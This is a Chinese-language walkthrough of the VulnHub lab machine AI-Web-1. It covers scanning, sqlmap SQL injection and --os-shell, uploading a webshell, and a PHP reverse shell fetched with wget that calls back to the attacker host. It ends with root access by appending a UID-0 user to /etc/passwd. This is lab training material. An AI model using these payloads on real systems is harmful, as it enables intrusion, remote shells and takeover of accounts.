项目地址
https://www.vulnhub.com/entry/ai-web-1,353/
实验过程
将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机
使用nmap进行主机发现,获取靶机IP地址
nmap 192.168.47.1-254
根据对比可知DC-8的一个ip地址为192.168.47.135
扫描Ai-Web1.0的操作系统,端口及对应服务
nmap -A -p- 192.168.47.135
发现开放80端口
在浏览器访问http://192.168.47.135
对网站进行目录和文件扫描
dirb http://192.168.47.135
出现robots.txt文件
进入网站进行查询
尝试访问发现没有权限
使用dirb进行扫描
dirb http://192.168.47.135/m3diNf0/
dirb http://192.168.47.135/se3reTdir777/
结果可知dirb http://192.168.47.135/m3diNf0/有一个info.php页面
尝试访问
dirb http://192.168.47.135/se3reTdir777/有一个index.php页面
尝试访问
发现是查询页面 考虑sql注入
输入’页面报错
存在sql注入
使用Burpsuite进行一个抓包,得到注入点
使用sqlmap进行扫描
sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -dbs
sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 --tables
sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 -T user --columns
sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" -D aiweb1 -T user -C id --dump
没有什么有用信息了
尝试–os-shell
首先获取绝对路径
进入info.php查找
找到了路径 /home/www/html/web1x443290o2sdf92213/
需要一个可以上传文件的页面se3reTdir777/uploads/刚好符合
它的绝对目录为/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
使用–os-shell
sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" -data "uid=123&Operation=Submit" --level=3 --os-shell
成功进入shell
上传一句话木马
在sqlmap文件夹里写一个一句话木马文件
在sqlmap开个终端
sqlmap -u "http://192.168.47.135/se3reTdir777/index.php" --data "uid=123&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php
发现一句话木马文件移进来了
蚁剑连接
打开蚁剑
进行连接
http://192.168.47.135/se3reTdir777/uploads/1.php
可以正常访问
这里蚁剑要拿到他的终端,右击打开终端
nc反弹
在 kali 写⼀个 php ⽂件
<?php
$sock=fsockopen("192.168.47.129",6666);
exec("/bin/bash -i <&3 >&3 2>&3");
?>
在Kali开启一个端口服务
python -m http.server 7777
到 os-shell 命令行,用wget 命令下载
wget http://192.168.47.129:7777/3.php
开启监听
nc -lvvp 6666
在–os-shell 执行木马文件
php 3.php
监听成功
提权
查看当前用户
在 Linux 系统中我们要向手动生成⼀个密码可以采用opensll passwd来生成⼀个密码作为用户账号的密码。
Linux系统中的密码存放在 /etc/shadow 文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同 。
:::info
openssl passwd的作用是用来计算密码hash的,目的是为了防止密码以明文的形式出现。
:::
使用openssl 创建⼀个用户
openssl passwd -1 -salt h 123456
:::info
openssl passwd 参数 用户名 密码
:::
-1:表示采用的是MD5加密算法。
-salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码⼀样,salt不⼀样,所计算出来的hash值也不⼀样,除非密码⼀样,salt值也⼀样,计算出来的hash值才⼀样。salt为8字节的字符串。
将用户写入/etc/passwd文件中
echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd
使用cat查看是否写入
cat /etc/passwd
成功写入
切换用户
⽤脚本提升为交互式shell,然后切换用户
python -c 'import pty;pty.spawn("/bin/bash")'
su h
寻找flag
cd /
ls
cd root
ls
cat flag.txt